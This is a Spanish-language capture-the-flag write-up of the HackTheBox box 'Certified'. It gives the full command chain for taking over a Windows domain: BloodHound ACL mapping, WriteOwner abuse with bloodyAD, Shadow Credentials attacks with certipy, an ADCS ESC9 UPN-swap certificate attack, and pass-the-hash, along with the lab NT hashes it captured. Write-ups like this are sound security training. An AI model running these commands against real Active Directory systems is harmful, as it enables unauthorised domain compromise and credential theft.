Info de la Box

PlataformaHackTheBox
DificultadMedium
OSWindows Server (Domain Controller)
Técnicas ClaveWriteOwner Abuse, Shadow Credentials, ADCS ESC9, Pass-the-Hash

Resumen del Ataque

Assumed breach con creds de judith.mader. Corrimos BloodHound y mostró toda la cadena de ACLs: judith tenía WriteOwner sobre el grupo Management, así que tomamos ownership, nos dimos GenericAll, y nos unimos al grupo. Eso nos dio GenericWrite sobre management_svc que usamos para un ataque de Shadow Credentials para sacar el hash NT. Conseguimos shell como management_svc (user flag). Después management_svc tenía GenericAll sobre ca_operator, mismo ataque de shadow creds. Finalmente, ca_operator podía enrollarse en un template de certificado vulnerable a ESC9. Cambiamos el UPN a Administrator, pedimos un cert, restauramos el UPN, nos autenticamos con el cert y obtuvimos el hash de admin. Pass-the-Hash, listo.

Esta box es básicamente una masterclass de ACL abuse con un cherry de ADCS encima.


Enumeración

# Terminal 1: TCP rápido all-port
sudo nmap -Pn -p- --min-rate=1000 -T4 -oN fast_tcp.txt $ip

# Terminal 2: Top 20 UDP
sudo nmap -Pn -sU --top-ports=20 -oN udp_top20.txt $ip

# Terminal 3: Scan dirigido (después de que termine el scan rápido)
ports=$(grep '^[0-9]' fast_tcp.txt | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//')
sudo nmap -A -Pn -sC -sV -p $ports -oA targeted $ip
# Puertos encontrados: 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389

# Vuln scan (correr mientras enumerás manualmente)
sudo nmap -sV -p $ports --script "vuln" $ip -oN vuln.txt

Puertos estándar de DC. Nada inusual, nada web. Esta es una box puramente AD.

PuertoServicioNotas
88KerberosDC01.certified.htb
389/636LDAPDominio certified.htb
445SMBnada interesante con nuestras creds
5985WinRMacceso a shell después

Setup

echo "10.129.231.186 DC01.certified.htb certified.htb DC01" | sudo tee -a /etc/hosts
sudo ntpdate -u certified.htb
export ip=10.129.231.186

SMB

netexec smb $ip -u 'judith.mader' -p 'judith09' --shares --users --pass-pol

Sin shares interesantes, sin info jugosa. Assumed breach significa que las creds son el regalo, el resto te lo ganás.


BloodHound — Mapeando la Ruta de Ataque

bloodhound-python -u 'judith.mader' -p 'judith09' -ns $ip -d certified.htb -c All

Subimos el zip a BloodHound CE y la ruta saltó a la vista:

judith.mader
  |-- WriteOwner sobre grupo Management
  |-- Grupo Management tiene GenericWrite sobre management_svc
  |-- management_svc tiene GenericAll sobre ca_operator
  |-- ca_operator puede enrollarse en template CertifiedAuthentication (ESC9)

También corrimos certipy para confirmar el ángulo de ADCS:

certipy-ad find -vulnerable -u [email protected] -p 'judith09' -dc-ip $ip -stdout

Encontramos el template CertifiedAuthentication. Tiene CT_FLAG_NO_SECURITY_EXTENSION en sus enrollment flags más Client Authentication EKU. Esa es la combinación de ESC9.


Foothold — WriteOwner Abuse en el Grupo Management

Tres comandos. Tomar ownership, darte GenericAll, agregarte al grupo:

bloodyAD -d certified.htb --host $ip -u judith.mader -p 'judith09' set owner 'management' judith.mader
bloodyAD -d certified.htb --host $ip -u judith.mader -p 'judith09' add genericAll 'management' judith.mader
bloodyAD -d certified.htb --host $ip -u judith.mader -p 'judith09' add groupMember 'management' judith.mader

WriteOwner abuse en grupo Management

Y así de fácil judith está en el grupo Management. Eso nos da GenericWrite sobre management_svc.


Shadow Credentials — management_svc

GenericWrite nos deja modificar el atributo msDS-KeyCredentialLink, lo que significa que podemos hacer un ataque de Shadow Credentials. Certipy maneja todo en un solo comando:

certipy-ad shadow auto -username [email protected] -password 'judith09' \
  -account management_svc -target certified.htb -dc-ip $ip

Shadow credentials en management_svc

Obtuvimos el hash NT de management_svc: a091c1832bcdd4677c28b5a6a1295584

Consiguiendo Shell

evil-winrm -i certified.htb -u management_svc -H a091c1832bcdd4677c28b5a6a1295584

Esto es gracioso. evil-winrm con la IP directa se rehusó a conectar. Estuve un rato probando diferentes cosas, y después probé apuntando al nombre de dominio certified.htb en vez de la IP y funcionó de una. No tengo idea por qué esta box hace eso, pero ténganlo en mente.

Problemas de conexión con evil-winrm

Shell como management_svc

Estamos adentro. User flag en el desktop de management_svc.


Shadow Credentials — ca_operator

BloodHound muestra que management_svc tiene GenericAll sobre ca_operator. Mismo ataque, diferente objetivo.

GenericAll sobre ca_operator

# Sincronizar reloj primero — esto me atrapó DE NUEVO
sudo ntpdate -u certified.htb

certipy-ad shadow auto -username [email protected] \
  -hashes :a091c1832bcdd4677c28b5a6a1295584 \
  -account ca_operator -target certified.htb -dc-ip $ip

Shadow credentials en ca_operator

Hash NT de ca_operator: b4b86f45c6018f1b664f70805f45d8f2


Domain Admin — ADCS ESC9

Esta es la parte divertida. ESC9 explota weak certificate mapping. Acá está por qué funciona:

El template CertifiedAuthentication tiene CT_FLAG_NO_SECURITY_EXTENSION en sus enrollment flags, así que la CA NO embebe el objectSid del solicitante en el certificado. El DC tiene StrongCertificateBindingEnforcement = 1 (compatibility mode) lo que significa que cuando no hay SID en el cert, hace fallback a mapeo basado en UPN.

Entonces el truco es: cambiar el UPN de ca_operator a Administrator, pedir un cert (no se embebe SID, el UPN dice Administrator), restaurar el UPN, y después autenticarse. El DC ve UPN “Administrator” sin nada que lo contradiga y simplemente lo acepta. Hermoso y aterrador.

Enumeración ADCS Detalles del template CertifiedAuthentication

Paso 1 — Cambiar el UPN de ca_operator a Administrator

Usamos las creds de management_svc porque tiene GenericAll sobre ca_operator. Importante: usar Administrator sin @domain para evitar una colisión de UPN con la cuenta real de admin.

certipy-ad account update -username [email protected] \
  -hashes :a091c1832bcdd4677c28b5a6a1295584 \
  -user ca_operator -upn Administrator -dc-ip $ip

Paso 2 — Pedir el cert

certipy-ad req -username [email protected] \
  -hashes :b4b86f45c6018f1b664f70805f45d8f2 \
  -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip $ip

Esto guarda administrator.pfx, un certificado con UPN=Administrator y sin objectSid.

Paso 3 — Restaurar el UPN de ca_operator

Hay que hacer esto ANTES de autenticarse. Si ca_operator todavía tiene UPN=Administrator cuando te autentiques, el DC mapea el cert de vuelta a ca_operator en vez del Administrator real.

certipy-ad account update -username [email protected] \
  -hashes :a091c1832bcdd4677c28b5a6a1295584 \
  -user ca_operator -upn [email protected] -dc-ip $ip

Paso 4 — Autenticarse y sacar el hash de Administrator

certipy-ad auth -pfx administrator.pfx -dc-ip $ip -domain certified.htb

Ataque ESC9 — cambio de UPN y request de cert

Hash de Administrator obtenido

Y obtuvimos el hash de admin :D

Root Shell

evil-winrm -i certified.htb -u Administrator -H 0d5b49608bbce1751f708748f67e2d34

Pwned

Pwned.


Credenciales

UsernamePassword/HashOrigen
judith.maderjudith09Assumed breach
management_svca091c1832bcdd4677c28b5a6a1295584 (NTLM)Shadow Credentials
ca_operatorb4b86f45c6018f1b664f70805f45d8f2 (NTLM)Shadow Credentials
Administrator0d5b49608bbce1751f708748f67e2d34 (NTLM)ESC9 cert auth

Lo que Aprendí

Shadow Credentials con certipy es estúpidamente fácil. certipy-ad shadow auto hace todo de un tiro — agrega el key credential, solicita un TGT vía PKINIT, extrae el hash NT, limpia todo. GenericWrite o GenericAll sobre la cuenta objetivo es todo lo que necesitás.

ESC9 se trata del truco del UPN. Cuando un template tiene el flag NO_SECURITY_EXTENSION, el cert no incluye el SID del solicitante. Cambiás el UPN de un usuario controlado al del objetivo, pedís un cert, restaurás el UPN antes de autenticarte. El DC ve el UPN sin SID que lo contradiga y lo mapea a la cuenta real.

El orden importa en ESC9. DEBÉS restaurar el UPN antes de autenticarte. Si el usuario controlado todavía tiene el UPN de Administrator cuando te autentiques, el DC mapea el cert a ellos, no al Administrator real. Tuve que pensar esto un par de veces antes de que hiciera click.

evil-winrm hostname vs IP. Algunas boxes rechazan conexiones por IP pero aceptan el nombre de dominio. Si evil-winrm se cuelga o falla con la IP, probá el hostname. Ni idea por qué pasa esto pero me costó tiempo en esta box.

La sincronización de reloj te va a perseguir por siempre. Shadow Credentials falló porque mi reloj estaba desfasado. Kerberos no perdona el clock skew. sudo ntpdate -u <domain> antes de cualquier operación de Kerberos. Sigo aprendiendo esta lección por las malas.

WriteOwner en un grupo es una cadena de tres pasos. Tomar ownership, darte GenericAll (o WriteMembers), y después agregarte. Mismo patrón que usé en EscapeTwo. Si ves WriteOwner en BloodHound, esto ya debería ser memoria muscular.

Patrón: “Cadena de ACL con ADCS: seguir los edges de BloodHound un salto a la vez, Shadow Credentials para cada GenericWrite/GenericAll, y revisar certipy buscando templates vulnerables. ESC9 = NO_SECURITY_EXTENSION + UPN swap.”